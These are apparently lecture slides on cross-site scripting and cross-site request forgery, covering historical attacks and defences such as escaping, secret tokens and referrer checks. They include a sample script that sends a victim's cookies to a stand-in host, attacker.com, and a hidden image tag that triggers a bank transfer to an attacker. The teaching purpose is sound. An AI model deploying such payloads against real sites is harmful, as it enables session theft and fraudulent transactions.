cross-site attacks

Daniel Jackson
cross site scripting (XSS)

A Fictional Example
on Facebook, attacker posts this on wall:

```html
<script>
window.location = 'http://attacker.com/steal?cookie = ' + document.cookie
</script>
```

now, when other user displays Facebook page...
› script sends her cookies to attacker
› could get server-side private data too!

this is “persistent XSS”
› simpler form: pass URL with query that puts script in page

mitigation
› escape all untrusted data, or whitelist only safe tags
cross site request forgery (CSRF)

A Fictional Example
on attacker’s site, include hidden call to bank:

```html
<img src="http://mybank.com/transferFunds?amount=1000&destination=attackersAcct" width="0" height="0" />
```

now, when other user loads attacker’s page...
› hidden call transfers her money to the attacker
› can use all her credentials (session, cookies)

combine with XSS
› attacker can place call on a trusted site

mitigations
› challenge/response, secret tokens, referrer checking
infamous attacks

MySpace (2005)
› display “Samy is my hero”
› and add friends: spread to 1M users in a day

Gmail
› get contact list (Jan 2007)
› add mail filters (Sept 2007)

Netflix
› change name & delivery address (2007)
› modify movie queue (2009)

http://en.wikipedia.org/wiki/Samy_(computer_worm)
http://ajaxian.com/archives/gmail-csrf-security-flaw
http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/
what’s going on?

XSS and CSRF are duals
› XSS: client confuses servers
› CSRF: server confuses clients

so it’s about authentication
› XSS: of server
› CSRF: of client
standard CSRF mitigations

challenge/response
› CAPTCHA, password reentry
› inconvenient for client

secret token
› generate a token for the session
› add it to all URLs (but then exposed)
› put in hidden form field (then only POSTs)

<form action="/transfer.do" method="post">
  <input type="hidden" name="CSRFToken" value="OWY4NmQwODQ2">
  ...
</form>
login CSRF

but what about login?
› no session yet, so no token!

scenario
› attacker logs you out of Google
› and back in using attacker’s credentials
› now attacker gets your search history!
mitigating login CSRF

referrer field
› request includes referrer URL (in referer header)
› if request has referrer attacker.com, mybank.com rejects it

privacy problem
› referrer reveals search queries, eg

request obtained by clicking on link in a vanity search
referrer policies

for privacy reasons
› referrer often suppressed

so lenient policy
› server rejects request only if referrer is wrong
› accepts request if referrer is missing

Facebook vulnerability (2008)
› used tokens within session, lenient referrer for login
› attacker redirects client to ftp://attacker.com
  then issues login request from there
› browser drops referrer when ftp
question

suppose you just used strict referrer validation
› would that work?